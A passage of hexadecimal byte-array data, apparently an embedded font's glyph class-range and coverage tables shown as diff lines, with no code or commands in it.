0x01, 0x3E, 0x01, 0x3E, 0x00, 0x16, + 0x01, 0x3F, 0x01, 0x3F, 0x00, 0x17, 0x01, 0x40, + 0x01, 0x40, 0x00, 0x16, 0x01, 0x41, 0x01, 0x41, + 0x00, 0x17, 0x01, 0x42, 0x01, 0x42, 0x00, 0x16, + 0x01, 0x43, 0x01, 0x43, 0x00, 0x17, 0x01, 0x44, + 0x01, 0x44, 0x00, 0x16, 0x01, 0x45, 0x01, 0x45, + 0x00, 0x3F, 0x01, 0x46, 0x01, 0x46, 0x00, 0x05, + 0x01, 0x47, 0x01, 0x47, 0x00, 0x3F, 0x01, 0x48, + 0x01, 0x48, 0x00, 0x05, 0x01, 0x49, 0x01, 0x49, + 0x00, 0x3F, 0x01, 0x4A, 0x01, 0x4A, 0x00, 0x05, + 0x01, 0x4B, 0x01, 0x4B, 0x00, 0x18, 0x01, 0x4C, + 0x01, 0x4C, 0x00, 0x08, 0x01, 0x4D, 0x01, 0x4D, + 0x00, 0x18, 0x01, 0x4E, 0x01, 0x4E, 0x00, 0x08, + 0x01, 0x4F, 0x01, 0x4F, 0x00, 0x18, 0x01, 0x50, + 0x01, 0x50, 0x00, 0x08, 0x01, 0x51, 0x01, 0x51, + 0x00, 0x18, 0x01, 0x52, 0x01, 0x52, 0x00, 0x08, + 0x01, 0x53, 0x01, 0x53, 0x00, 0x19, 0x01, 0x54, + 0x01, 0x54, 0x00, 0x09, 0x01, 0x55, 0x01, 0x55, + 0x00, 0x19, 0x01, 0x56, 0x01, 0x56, 0x00, 0x09, + 0x01, 0x59, 0x01, 0x59, 0x00, 0x1A, 0x01, 0x5A, + 0x01, 0x5A, 0x00, 0x05, 0x01, 0x5B, 0x01, 0x5B, + 0x00, 0x1A, 0x01, 0x5C, 0x01, 0x5C, 0x00, 0x05, + 0x01, 0x5D, 0x01, 0x5D, 0x00, 0x1A, 0x01, 0x5E, + 0x01, 0x5E, 0x00, 0x05, 0x01, 0x5F, 0x01, 0x5F, + 0x00, 0x1A, 0x01, 0x60, 0x01, 0x60, 0x00, 0x05, + 0x01, 0x61, 0x01, 0x61, 0x00, 0x1A, 0x01, 0x62, + 0x01, 0x62, 0x00, 0x05, 0x01, 0x63, 0x01, 0x63, + 0x00, 0x1A, 0x01, 0x64, 0x01, 0x64, 0x00, 0x05, + 0x01, 0x65, 0x01, 0x65, 0x00, 0x1B, 0x01, 0x66, + 0x01, 0x66, 0x00, 0x0A, 0x01, 0x67, 0x01, 0x67, + 0x00, 0x1F, 0x01, 0x68, 0x01, 0x68, 0x00, 0x0A, + 0x01, 0x69, 0x01, 0x69, 0x00, 0x1F, 0x01, 0x6A, + 0x01, 0x6A, 0x00, 0x49, 0x01, 0x6B, 0x01, 0x6B, + 0x00, 0x20, 0x01, 0x6C, 0x01, 0x6C, 0x00, 0x49, + 0x01, 0x6D, 0x01, 0x6D, 0x00, 0x20, 0x01, 0x6E, + 0x01, 0x6E, 0x00, 0x49, 0x01, 0x6F, 0x01, 0x6F, + 0x00, 0x20, 0x01, 0x70, 0x01, 0x70, 0x00, 0x02, + 0x01, 0x91, 0x01, 0x91, 0x00, 0x17, 0x01, 0x92, + 0x01, 0x92, 0x00, 0x16, 0x01, 0xA0, 0x01, 0xA0, + 0x00, 0x1A, 0x7F, 0xD8, 0x7F, 0xD8, 0x00, 0x12, + 0x7F, 0xD9, 0x7F, 0xD9, 0x00, 0x40, 0x7F, 0xDA, + 0x7F, 0xDC, 0x00, 0x12, 0x7F, 0xDD, 0x7F, 0xDD, + 0x00, 0x40, 0x7F, 0xDE, 0x7F, 0xDE, 0x00, 0x12, + 0x7F, 0xDF, 0x7F, 0xDF, 0x00, 0x40, 0x7F, 0xE0, + 0x7F, 0xE0, 0x00, 0x12, 0x7F, 0xE1, 0x7F, 0xE1, + 0x00, 0x40, 0x7F, 0xE2, 0x7F, 0xE2, 0x00, 0x12, + 0x7F, 0xE3, 0x7F, 0xE3, 0x00, 0x40, 0x7F, 0xE4, + 0x7F, 0xE4, 0x00, 0x12, 0x7F, 0xE5, 0x7F, 0xE5, + 0x00, 0x40, 0x7F, 0xE6, 0x7F, 0xE6, 0x00, 0x12, + 0x7F, 0xE7, 0x7F, 0xE7, 0x00, 0x40, 0x7F, 0xE8, + 0x7F, 0xE8, 0x00, 0x12, 0x7F, 0xE9, 0x7F, 0xE9, + 0x00, 0x40, 0x7F, 0xEA, 0x7F, 0xEA, 0x00, 0x12, + 0x7F, 0xEB, 0x7F, 0xEB, 0x00, 0x40, 0x7F, 0xEC, + 0x7F, 0xEC, 0x00, 0x12, 0x7F, 0xED, 0x7F, 0xED, + 0x00, 0x40, 0x7F, 0xEE, 0x7F, 0xEE, 0x00, 0x24, + 0x7F, 0xF0, 0x7F, 0xF0, 0x00, 0x0C, 0x7F, 0xF1, + 0x7F, 0xF1, 0x00, 0x44, 0x7F, 0xF2, 0x7F, 0xF2, + 0x00, 0x0C, 0x7F, 0xF3, 0x7F, 0xF3, 0x00, 0x44, + 0x7F, 0xF4, 0x7F, 0xF4, 0x00, 0x0C, 0x7F, 0xF5, + 0x7F, 0xF5, 0x00, 0x44, 0x7F, 0xF6, 0x7F, 0xF6, + 0x00, 0x0C, 0x7F, 0xF7, 0x7F, 0xF7, 0x00, 0x44, + 0x7F, 0xF8, 0x7F, 0xF8, 0x00, 0x0C, 0x7F, 0xF9, + 0x7F, 0xF9, 0x00, 0x44, 0x7F, 0xFA, 0x7F, 0xFA, + 0x00, 0x0C, 0x7F, 0xFB, 0x7F, 0xFB, 0x00, 0x44, + 0x7F, 0xFC, 0x7F, 0xFC, 0x00, 0x24, 0x7F, 0xFD, + 0x7F, 0xFD, 0x00, 0x45, 0x7F, 0xFE, 0x7F, 0xFE, + 0x00, 0x24, 0x7F, 0xFF, 0x7F, 0xFF, 0x00, 0x45, + 0x80, 0x01, 0x80, 0x01, 0x00, 0x45, 0x80, 0x02, + 0x80, 0x02, 0x00, 0x24, 0x80, 0x03, 0x80, 0x03, + 0x00, 0x45, 0x80, 0x04, 0x80, 0x04, 0x00, 0x24, + 0x80, 0x05, 0x80, 0x05, 0x00, 0x45, 0x80, 0x06, + 0x80, 0x06, 0x00, 0x24, 0x80, 0x07, 0x80, 0x07, + 0x00, 0x45, 0x80, 0x08, 0x80, 0x08, 0x00, 0x24, + 0x80, 0x09, 0x80, 0x09, 0x00, 0x45, 0x80, 0x0A, + 0x80, 0x0A, 0x00, 0x24, 0x80, 0x0B, 0x80, 0x0B, + 0x00, 0x45, 0x80, 0x0C, 0x80, 0x0C, 0x00, 0x24, + 0x80, 0x0D, 0x80, 0x0D, 0x00, 0x45, 0x80, 0x0E, + 0x80, 0x0E, 0x00, 0x24, 0x80, 0x0F, 0x80, 0x0F, + 0x00, 0x45, 0x80, 0x10, 0x80, 0x10, 0x00, 0x24, + 0x80, 0x11, 0x80, 0x11, 0x00, 0x45, 0x80, 0x12, + 0x80, 0x12, 0x00, 0x24, 0x80, 0x13, 0x80, 0x13, + 0x00, 0x45, 0x80, 0x14, 0x80, 0x14, 0x00, 0x24, + 0x80, 0x16, 0x80, 0x16, 0x00, 0x24, 0x80, 0x17, + 0x80, 0x17, 0x00, 0x45, 0x80, 0x19, 0x80, 0x19, + 0x00, 0x45, 0x80, 0x1C, 0x80, 0x1C, 0x00, 0x24, + 0x80, 0x1D, 0x80, 0x1D, 0x00, 0x45, 0x80, 0x1E, + 0x80, 0x1E, 0x00, 0x0C, 0x80, 0x1F, 0x80, 0x1F, + 0x00, 0x44, 0x80, 0x20, 0x80, 0x20, 0x00, 0x0C, + 0x80, 0x21, 0x80, 0x21, 0x00, 0x44, 0x80, 0x22, + 0x80, 0x22, 0x00, 0x0C, 0x80, 0x23, 0x80, 0x23, + 0x00, 0x44, 0x80, 0x24, 0x80, 0x24, 0x00, 0x0C, + 0x80, 0x25, 0x80, 0x25, 0x00, 0x44, 0x80, 0x26, + 0x80, 0x26, 0x00, 0x0C, 0x80, 0x27, 0x80, 0x27, + 0x00, 0x44, 0x80, 0x28, 0x80, 0x28, 0x00, 0x24, + 0x80, 0x2A, 0x80, 0x2A, 0x00, 0x24, 0x80, 0x2C, + 0x80, 0x2C, 0x00, 0x24, 0x80, 0x2E, 0x80, 0x2E, + 0x00, 0x24, 0x80, 0x30, 0x80, 0x30, 0x00, 0x24, + 0x80, 0x32, 0x80, 0x32, 0x00, 0x24, 0x80, 0x34, + 0x80, 0x34, 0x00, 0x24, 0x80, 0x36, 0x80, 0x36, + 0x00, 0x24, 0x80, 0x38, 0x80, 0x38, 0x00, 0x24, + 0x80, 0x3A, 0x80, 0x3A, 0x00, 0x24, 0x80, 0x3C, + 0x80, 0x3C, 0x00, 0x24, 0x80, 0x3E, 0x80, 0x3E, + 0x00, 0x24, 0x80, 0x40, 0x80, 0x40, 0x00, 0x24, + 0x80, 0x42, 0x80, 0x42, 0x00, 0x24, 0x80, 0x44, + 0x80, 0x44, 0x00, 0x0B, 0x80, 0x45, 0x80, 0x45, + 0x00, 0x41, 0x80, 0x46, 0x80, 0x46, 0x00, 0x0B, + 0x80, 0x47, 0x80, 0x47, 0x00, 0x41, 0x80, 0x48, + 0x80, 0x48, 0x00, 0x3F, 0x80, 0x49, 0x80, 0x49, + 0x00, 0x24, 0x80, 0x4A, 0x80, 0x4A, 0x00, 0x45, + 0x80, 0x4B, 0x80, 0x4B, 0x00, 0x24, 0x80, 0x4C, + 0x80, 0x4C, 0x00, 0x45, 0x80, 0x4D, 0x80, 0x4D, + 0x00, 0x24, 0x80, 0x4E, 0x80, 0x4E, 0x00, 0x45, + 0x80, 0x4F, 0x80, 0x4F, 0x00, 0x24, 0x80, 0x50, + 0x80, 0x50, 0x00, 0x45, 0x80, 0x51, 0x80, 0x51, + 0x00, 0x24, 0x80, 0x52, 0x80, 0x52, 0x00, 0x45, + 0x80, 0x53, 0x80, 0x53, 0x00, 0x24, 0x80, 0x54, + 0x80, 0x54, 0x00, 0x45, 0x80, 0x55, 0x80, 0x55, + 0x00, 0x24, 0x80, 0x56, 0x80, 0x56, 0x00, 0x45, + 0x80, 0x58, 0x80, 0x58, 0x00, 0x15, 0x80, 0x59, + 0x80, 0x59, 0x00, 0x43, 0x80, 0x5A, 0x80, 0x5A, + 0x00, 0x24, 0x80, 0x5C, 0x80, 0x5C, 0x00, 0x24, + 0x80, 0x5E, 0x80, 0x5E, 0x00, 0x24, 0x80, 0x60, + 0x80, 0x60, 0x00, 0x24, 0x80, 0x62, 0x80, 0x62, + 0x00, 0x24, 0x80, 0x64, 0x80, 0x64, 0x00, 0x0C, + 0x80, 0x65, 0x80, 0x65, 0x00, 0x44, 0x80, 0x66, + 0x80, 0x67, 0x00, 0x0C, 0x80, 0x68, 0x80, 0x68, + 0x00, 0x44, 0x80, 0x69, 0x80, 0x69, 0x00, 0x0C, + 0x80, 0x6A, 0x80, 0x6A, 0x00, 0x44, 0x80, 0x6B, + 0x80, 0x6B, 0x00, 0x0C, 0x80, 0x6C, 0x80, 0x6C, + 0x00, 0x44, 0x80, 0x6D, 0x80, 0x6D, 0x00, 0x0C, + 0x80, 0x6E, 0x80, 0x6E, 0x00, 0x44, 0x80, 0x6F, + 0x80, 0x6F, 0x00, 0x0C, 0x80, 0x70, 0x80, 0x70, + 0x00, 0x44, 0x80, 0x71, 0x80, 0x71, 0x00, 0x0C, + 0x80, 0x72, 0x80, 0x72, 0x00, 0x44, 0x80, 0x73, + 0x80, 0x73, 0x00, 0x0C, 0x80, 0x74, 0x80, 0x74, + 0x00, 0x44, 0x80, 0x75, 0x80, 0x75, 0x00, 0x0C, + 0x80, 0x76, 0x80, 0x76, 0x00, 0x44, 0x80, 0x77, + 0x80, 0x77, 0x00, 0x0C, 0x80, 0x78, 0x80, 0x78, + 0x00, 0x44, 0x80, 0x79, 0x80, 0x79, 0x00, 0x0C, + 0x80, 0x7A, 0x80, 0x7A, 0x00, 0x44, 0x80, 0x7B, + 0x80, 0x7B, 0x00, 0x24, 0x80, 0x7C, 0x80, 0x7C, + 0x00, 0x45, 0x80, 0x7D, 0x80, 0x7D, 0x00, 0x0C, + 0x80, 0x7E, 0x80, 0x7E, 0x00, 0x44, 0x80, 0x7F, + 0x80, 0x7F, 0x00, 0x3F, 0x80, 0x80, 0x80, 0x80, + 0x00, 0x24, 0x80, 0x81, 0x80, 0x81, 0x00, 0x45, + 0x80, 0x82, 0x80, 0x82, 0x00, 0x24, 0x80, 0x83, + 0x80, 0x83, 0x00, 0x45, 0x80, 0x84, 0x80, 0x84, + 0x00, 0x24, 0x80, 0x85, 0x80, 0x85, 0x00, 0x45, + 0x80, 0x86, 0x80, 0x86, 0x00, 0x24, 0x80, 0x87, + 0x80, 0x87, 0x00, 0x45, 0x80, 0x89, 0x80, 0x89, + 0x00, 0x0D, 0x80, 0x8A, 0x80, 0x8A, 0x00, 0x46, + 0x80, 0x8B, 0x80, 0x8B, 0x00, 0x0D, 0x80, 0x8C, + 0x80, 0x8C, 0x00, 0x46, 0x80, 0x8D, 0x80, 0x8D, + 0x00, 0x0D, 0x80, 0x8E, 0x80, 0x8E, 0x00, 0x46, + 0x80, 0x8F, 0x80, 0x8F, 0x00, 0x0D, 0x80, 0x90, + 0x80, 0x90, 0x00, 0x46, 0x80, 0x91, 0x80, 0x91, + 0x00, 0x0E, 0x80, 0x92, 0x80, 0x92, 0x00, 0x3C, + 0x80, 0x93, 0x80, 0x93, 0x00, 0x19, 0x80, 0x95, + 0x80, 0x95, 0x00, 0x19, 0x80, 0x97, 0x80, 0x98, + 0x00, 0x19, 0x80, 0x9A, 0x80, 0x9A, 0x00, 0x3C, + 0x80, 0x9B, 0x80, 0x9B, 0x00, 0x0E, 0x80, 0x9C, + 0x80, 0x9C, 0x00, 0x3C, 0x80, 0x9D, 0x80, 0x9D, + 0x00, 0x0E, 0x80, 0x9E, 0x80, 0x9E, 0x00, 0x3C, + 0x80, 0x9F, 0x80, 0x9F, 0x00, 0x24, 0x80, 0xA0, + 0x80, 0xA0, 0x00, 0x0F, 0x80, 0xA1, 0x80, 0xA1, + 0x00, 0x47, 0x80, 0xA2, 0x80, 0xA2, 0x00, 0x0F, + 0x80, 0xA3, 0x80, 0xA3, 0x00, 0x47, 0x80, 0xA4, + 0x80, 0xA4, 0x00, 0x0F, 0x80, 0xA5, 0x80, 0xA5, + 0x00, 0x47, 0x80, 0xA6, 0x80, 0xA6, 0x00, 0x0F, + 0x80, 0xA7, 0x80, 0xA7, 0x00, 0x47, 0x80, 0xA8, + 0x80, 0xA8, 0x00, 0x0F, 0x80, 0xA9, 0x80, 0xA9, + 0x00, 0x47, 0x80, 0xAA, 0x80, 0xAA, 0x00, 0x0F, + 0x80, 0xAB, 0x80, 0xAB, 0x00, 0x47, 0x80, 0xAC, + 0x80, 0xAC, 0x00, 0x0F, 0x80, 0xAD, 0x80, 0xAD, + 0x00, 0x47, 0x80, 0xAE, 0x80, 0xAE, 0x00, 0x0F, + 0x80, 0xAF, 0x80, 0xAF, 0x00, 0x47, 0x80, 0xB0, + 0x80, 0xB0, 0x00, 0x0F, 0x80, 0xB1, 0x80, 0xB1, + 0x00, 0x47, 0x80, 0xB2, 0x80, 0xB2, 0x00, 0x0F, + 0x80, 0xB3, 0x80, 0xB3, 0x00, 0x47, 0x80, 0xB4, + 0x80, 0xB4, 0x00, 0x0F, 0x80, 0xB5, 0x80, 0xB5, + 0x00, 0x47, 0x80, 0xB6, 0x80, 0xB6, 0x00, 0x10, + 0x80, 0xB7, 0x80, 0xB7, 0x00, 0x3D, 0x80, 0xB8, + 0x80, 0xB8, 0x00, 0x10, 0x80, 0xB9, 0x80, 0xB9, + 0x00, 0x3D, 0x80, 0xBA, 0x80, 0xBA, 0x00, 0x10, + 0x80, 0xBB, 0x80, 0xBB, 0x00, 0x3D, 0x80, 0xBC, + 0x80, 0xBC, 0x00, 0x10, 0x80, 0xBD, 0x80, 0xBD, + 0x00, 0x3D, 0x80, 0xBE, 0x80, 0xBE, 0x00, 0x10, + 0x80, 0xBF, 0x80, 0xBF, 0x00, 0x3D, 0x80, 0xC0, + 0x80, 0xC0, 0x00, 0x10, 0x80, 0xC1, 0x80, 0xC1, + 0x00, 0x3D, 0x80, 0xC2, 0x80, 0xC2, 0x00, 0x1D, + 0x80, 0xC3, 0x80, 0xC3, 0x00, 0x48, 0x80, 0xC4, + 0x80, 0xC4, 0x00, 0x11, 0x80, 0xC5, 0x80, 0xC5, + 0x00, 0x3E, 0x80, 0xC6, 0x80, 0xC6, 0x00, 0x11, + 0x80, 0xC7, 0x80, 0xC7, 0x00, 0x3E, 0x80, 0xC8, + 0x80, 0xC8, 0x00, 0x11, 0x80, 0xC9, 0x80, 0xC9, + 0x00, 0x3E, 0x80, 0xCA, 0x80, 0xCA, 0x00, 0x11, + 0x80, 0xCB, 0x80, 0xCB, 0x00, 0x3E, 0x80, 0xCC, + 0x80, 0xCC, 0x00, 0x11, 0x80, 0xCD, 0x80, 0xCD, + 0x00, 0x3E, 0x80, 0xCE, 0x80, 0xCE, 0x00, 0x21, + 0x80, 0xCF, 0x80, 0xCF, 0x00, 0x4A, 0x80, 0xD0, + 0x80, 0xD0, 0x00, 0x21, 0x80, 0xD1, 0x80, 0xD1, + 0x00, 0x4A, 0x80, 0xD2, 0x80, 0xD2, 0x00, 0x21, + 0x80, 0xD3, 0x80, 0xD3, 0x00, 0x4A, 0x80, 0xD4, + 0x80, 0xD4, 0x00, 0x21, 0x80, 0xD5, 0x80, 0xD5, + 0x00, 0x4A, 0x80, 0xD6, 0x80, 0xD9, 0x00, 0x16, + 0x80, 0xE0, 0x80, 0xE0, 0x00, 0x24, 0x80, 0xE1, + 0x80, 0xE1, 0x00, 0x16, 0x80, 0xE4, 0x80, 0xEA, + 0x00, 0x02, 0x80, 0xEC, 0x80, 0xED, 0x00, 0x02, + 0x80, 0xEF, 0x80, 0xEF, 0x00, 0x02, 0x80, 0xF6, + 0x80, 0xF6, 0x00, 0x0D, 0x80, 0xF7, 0x80, 0xF7, + 0x00, 0x04, 0x80, 0xFB, 0x81, 0x02, 0x00, 0x02, + 0x81, 0x03, 0x81, 0x04, 0x00, 0x05, 0x81, 0x2C, + 0x81, 0x2C, 0x00, 0x05, 0x81, 0x2D, 0x81, 0x2D, + 0x00, 0x08, 0x81, 0x30, 0x81, 0x30, 0x00, 0x0D, + 0x81, 0x31, 0x81, 0x31, 0x00, 0x46, 0x81, 0x32, + 0x81, 0x32, 0x00, 0x0D, 0x81, 0x33, 0x81, 0x33, + 0x00, 0x46, 0x81, 0x74, 0x81, 0x77, 0x00, 0x12, + 0x81, 0xD8, 0x81, 0xDF, 0x00, 0x12, 0x81, 0xE0, + 0x81, 0xE9, 0x00, 0x24, 0x81, 0xEA, 0x81, 0xF6, + 0x00, 0x0C, 0x81, 0xF7, 0x81, 0xFE, 0x00, 0x0F, + 0x81, 0xFF, 0x81, 0xFF, 0x00, 0x11, 0x82, 0x01, + 0x82, 0x02, 0x00, 0x11, 0x82, 0x03, 0x82, 0x0E, + 0x00, 0x12, 0x82, 0x0F, 0x82, 0x18, 0x00, 0x24, + 0x82, 0x19, 0x82, 0x25, 0x00, 0x0C, 0x82, 0x26, + 0x82, 0x2D, 0x00, 0x0F, 0x82, 0x2E, 0x82, 0x30, + 0x00, 0x11, 0x82, 0x51, 0x82, 0x51, 0x00, 0x44, + 0x82, 0x52, 0x82, 0x52, 0x00, 0x47, 0x82, 0x53, + 0x82, 0x5E, 0x00, 0x40, 0x82, 0x5F, 0x82, 0x66, + 0x00, 0x45, 0x82, 0x69, 0x82, 0x74, 0x00, 0x44, + 0x82, 0x75, 0x82, 0x77, 0x00, 0x47, 0x82, 0xD8, + 0x82, 0xDB, 0x00, 0x47, 0x82, 0xDC, 0x82, 0xDE, + 0x00, 0x3E, 0x82, 0xE2, 0x82, 0xE2, 0x00, 0x12, + 0x82, 0xE4, 0x82, 0xE4, 0x00, 0x42, 0x82, 0xE5, + 0x82, 0xE5, 0x00, 0x15, 0x82, 0xE6, 0x82, 0xE6, + 0x00, 0x05, 0x82, 0xE7, 0x82, 0xE7, 0x00, 0x15, + 0x82, 0xE8, 0x82, 0xE8, 0x00, 0x3F, 0x82, 0xE9, + 0x82, 0xE9, 0x00, 0x24, 0x82, 0xEA, 0x82, 0xEA, + 0x00, 0x05, 0x82, 0xEB, 0x82, 0xEB, 0x00, 0x24, + 0x82, 0xEC, 0x82, 0xED, 0x00, 0x11, 0x82, 0xEE, + 0x82, 0xEE, 0x00, 0x17, 0x82, 0xEF, 0x82, 0xEF, + 0x00, 0x0C, 0x82, 0xF0, 0x82, 0xF0, 0x00, 0x03, + 0x82, 0xF1, 0x82, 0xF1, 0x00, 0x0C, 0x96, 0x11, + 0x96, 0x11, 0x00, 0x2C, 0x96, 0x12, 0x96, 0x12, + 0x00, 0x33, 0x96, 0x13, 0x96, 0x13, 0x00, 0x32, + 0x96, 0x14, 0x96, 0x14, 0x00, 0x27, 0x96, 0x15, + 0x96, 0x15, 0x00, 0x31, 0x96, 0x16, 0x96, 0x16, + 0x00, 0x2B, 0x96, 0x17, 0x96, 0x17, 0x00, 0x2A, + 0x96, 0x18, 0x96, 0x18, 0x00, 0x26, 0x96, 0x19, + 0x96, 0x19, 0x00, 0x28, 0x96, 0x45, 0x96, 0x48, + 0x00, 0x12, 0x96, 0x49, 0x96, 0x4C, 0x00, 0x0C, + 0x96, 0x4D, 0x96, 0x4D, 0x00, 0x24, 0x96, 0x4F, + 0x96, 0x54, 0x00, 0x24, 0x96, 0x55, 0x96, 0x58, + 0x00, 0x0C, 0x96, 0x59, 0x96, 0x5F, 0x00, 0x24, + 0x96, 0x60, 0x96, 0x60, 0x00, 0x0B, 0x96, 0x61, + 0x96, 0x68, 0x00, 0x24, 0x96, 0x69, 0x96, 0x6C, + 0x00, 0x0C, 0x96, 0x6D, 0x96, 0x6F, 0x00, 0x24, + 0x96, 0x70, 0x96, 0x73, 0x00, 0x0D, 0x96, 0x75, + 0x96, 0x76, 0x00, 0x0E, 0x96, 0x77, 0x96, 0x7C, + 0x00, 0x0F, 0x96, 0x7D, 0x96, 0x80, 0x00, 0x10, + 0x96, 0x81, 0x96, 0x82, 0x00, 0x11, 0x96, 0x83, + 0x96, 0x84, 0x00, 0x21, 0x96, 0x85, 0x96, 0x85, + 0x00, 0x24, 0x96, 0x87, 0x96, 0x87, 0x00, 0x39, + 0x96, 0x89, 0x96, 0x89, 0x00, 0x39, 0x96, 0x8B, + 0x96, 0x8B, 0x00, 0x39, 0x96, 0x92, 0x96, 0x94, + 0x00, 0x13, 0x96, 0x99, 0x96, 0x99, 0x00, 0x0D, + 0x96, 0x9A, 0x96, 0x9A, 0x00, 0x08, 0x96, 0xB4, + 0x96, 0xB4, 0x00, 0x29, 0x96, 0xD2, 0x96, 0xD2, + 0x00, 0x0C, 0x96, 0xD5, 0x96, 0xD5, 0x00, 0x0D, + 0x96, 0xD7, 0x96, 0xD7, 0x00, 0x21, 0x97, 0x08, + 0x97, 0x08, 0x00, 0x37, 0x97, 0x09, 0x97, 0x09, + 0x00, 0x35, 0x97, 0x0A, 0x97, 0x0A, 0x00, 0x30, + 0x97, 0x0B, 0x97, 0x0B, 0x00, 0x2F, 0x97, 0x0C, + 0x97, 0x0C, 0x00, 0x2E, 0x97, 0x0D, 0x97, 0x0D, + 0x00, 0x2D, 0x97, 0x0E, 0x97, 0x0E, 0x00, 0x38, + 0x97, 0x0F, 0x97, 0x0F, 0x00, 0x36, 0x97, 0x10, + 0x97, 0x10, 0x00, 0x4B, 0x97, 0x11, 0x97, 0x11, + 0x00, 0x34, 0x97, 0x39, 0x97, 0x39, 0x00, 0x12, + 0x97, 0x3A, 0x97, 0x3A, 0x00, 0x24, 0x97, 0x3B, + 0x97, 0x3B, 0x00, 0x0C, 0x97, 0x3C, 0x97, 0x3E, + 0x00, 0x24, 0x97, 0x3F, 0x97, 0x3F, 0x00, 0x0C, + 0x97, 0x40, 0x97, 0x41, 0x00, 0x24, 0x97, 0x42, + 0x97, 0x42, 0x00, 0x0B, 0x97, 0x43, 0x97, 0x44, + 0x00, 0x24, 0x97, 0x45, 0x97, 0x45, 0x00, 0x15, + 0x97, 0x46, 0x97, 0x46, 0x00, 0x24, 0x97, 0x47, + 0x97, 0x47, 0x00, 0x0C, 0x97, 0x48, 0x97, 0x48, + 0x00, 0x24, 0x97, 0x49, 0x97, 0x49, 0x00, 0x0C, + 0x97, 0x4A, 0x97, 0x4A, 0x00, 0x24, 0x97, 0x4B, + 0x97, 0x4B, 0x00, 0x0D, 0x97, 0x4C, 0x97, 0x4C, + 0x00, 0x0E, 0x97, 0x4D, 0x97, 0x4D, 0x00, 0x0F, + 0x97, 0x4E, 0x97, 0x4F, 0x00, 0x10, 0x97, 0x50, + 0x97, 0x50, 0x00, 0x1D, 0x97, 0x51, 0x97, 0x51, + 0x00, 0x11, 0x97, 0x52, 0x97, 0x52, 0x00, 0x21, + 0x97, 0xB8, 0x97, 0xBE, 0x00, 0x12, 0x97, 0xBF, + 0x97, 0xBF, 0x00, 0x0C, 0x97, 0xC0, 0x97, 0xC7, + 0x00, 0x24, 0x97, 0xC9, 0x97, 0xC9, 0x00, 0x24, + 0x97, 0xCA, 0x97, 0xCE, 0x00, 0x0C, 0x97, 0xD0, + 0x97, 0xD0, 0x00, 0x0C, 0x97, 0xD1, 0x97, 0xD4, + 0x00, 0x0F, 0x97, 0xD5, 0x97, 0xD5, 0x00, 0x11, + 0x97, 0xD6, 0x97, 0xD6, 0x00, 0x24, 0x97, 0xD7, + 0x97, 0xD7, 0x00, 0x11, 0x9A, 0xD8, 0x9A, 0xDD, + 0x00, 0x02, 0x9A, 0xDE, 0x9A, 0xDE, 0x00, 0x08, + 0x00, 0x02, 0x00, 0x48, 0x00, 0x12, 0x00, 0x12, + 0x00, 0x00, 0x00, 0x19, 0x00, 0x19, 0x00, 0x01, + 0x00, 0x1D, 0x00, 0x1D, 0x00, 0x02, 0x00, 0x1F, + 0x00, 0x1F, 0x00, 0x03, 0x00, 0x30, 0x00, 0x30, + 0x00, 0x04, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x05, + 0x00, 0x52, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x92, + 0x00, 0x92, 0x00, 0x3B, 0x00, 0xB0, 0x00, 0xB6, + 0x00, 0x3C, 0x00, 0xB8, 0x00, 0xC7, 0x00, 0x43, + 0x00, 0xC9, 0x00, 0xCE, 0x00, 0x53, 0x00, 0xD0, + 0x00, 0xE0, 0x00, 0x59, 0x00, 0xE2, 0x00, 0xE7, + 0x00, 0x6A, 0x00, 0xE9, 0x01, 0x28, 0x00, 0x70, + 0x01, 0x2A, 0x01, 0x32, 0x00, 0xB0, 0x01, 0x34, + 0x01, 0x42, 0x00, 0xB9, 0x01, 0x44, 0x01, 0x56, + 0x00, 0xC8, 0x01, 0x59, 0x01, 0x70, 0x00, 0xDB, + 0x7F, 0xD8, 0x80, 0x19, 0x00, 0xF3, 0x80, 0x1C, + 0x80, 0x1D, 0x01, 0x35, 0x80, 0x1F, 0x80, 0x1F, + 0x01, 0x37, 0x80, 0x21, 0x80, 0x21, 0x01, 0x38, + 0x80, 0x23, 0x80, 0x23, 0x01, 0x39, 0x80, 0x25, + 0x80, 0x25, 0x01, 0x3A, 0x80, 0x27, 0x80, 0x30, + 0x01, 0x3B, 0x80, 0x32, 0x80, 0x87, 0x01, 0x45, + 0x80, 0x89, 0x80, 0x93, 0x01, 0x9B, 0x80, 0x95, + 0x80, 0x95, 0x01, 0xA6, 0x80, 0x97, 0x80, 0x98, + 0x01, 0xA7, 0x80, 0x9A, 0x80, 0x9E, 0x01, 0xA9, + 0x80, 0xA0, 0x80, 0xD5, 0x01, 0xAE, 0x80, 0xD7, + 0x80, 0xD9, 0x01, 0xE4, 0x80, 0xE0, 0x80, 0xE0, + 0x01, 0xE7, 0x80, 0xE4, 0x80, 0xEA, 0x01, 0xE8, + 0x80, 0xEC, 0x80, 0xED, 0x01, 0xEF, 0x80, 0xEF, + 0x80, 0xEF, 0x01, 0xF1, 0x80, 0xF6, 0x80, 0xF7, + 0x01, 0xF2, 0x80, 0xFB, 0x81, 0x02, 0x01, 0xF4, + 0x81, 0x2D, 0x81, 0x2D, 0x01, 0xFC, 0x81, 0x30, + 0x81, 0x33, 0x01, 0xFD, 0x81, 0x74, 0x81, 0x77, + 0x02, 0x01, 0x81, 0xD8, 0x81, 0xF0, 0x02, 0x05, + 0x81, 0xF7, 0x81, 0xF8, 0x02, 0x1E, 0x81, 0xFF, + 0x81, 0xFF, 0x02, 0x20, 0x82, 0x01, 0x82, 0x1F, + 0x02, 0x21, 0x82, 0x26, 0x82, 0x27, 0x02, 0x40, + 0x82, 0x2E, 0x82, 0x30, 0x02, 0x42, 0x82, 0x53, + 0x82, 0x6F, 0x02, 0x45, 0x82, 0x75, 0x82, 0x76, + 0x02, 0x62, 0x82, 0xDC, 0x82, 0xDE, 0x02, 0x64, + 0x82, 0xE2, 0x82, 0xE2, 0x02, 0x67, 0x82, 0xE4, + 0x82, 0xEE, 0x02, 0x68, 0x82, 0xF0, 0x82, 0xF0, + 0x02, 0x73, 0x96, 0x11, 0x96, 0x19, 0x02, 0x74, + 0x96, 0x45, 0x96, 0x54, 0x02, 0x7D, 0x96, 0x59, + 0x96, 0x73, 0x02, 0x8D, 0x96, 0x75, 0x96, 0x86, + 0x02, 0xA8, 0x96, 0x88, 0x96, 0x88, 0x02, 0xBA, + 0x96, 0x8A, 0x96, 0x8A, 0x02, 0xBB, 0x96, 0x99, + 0x96, 0x9A, 0x02, 0xBC, 0x96, 0xB4, 0x96, 0xB4, + 0x02, 0xBE, 0x96, 0xD1, 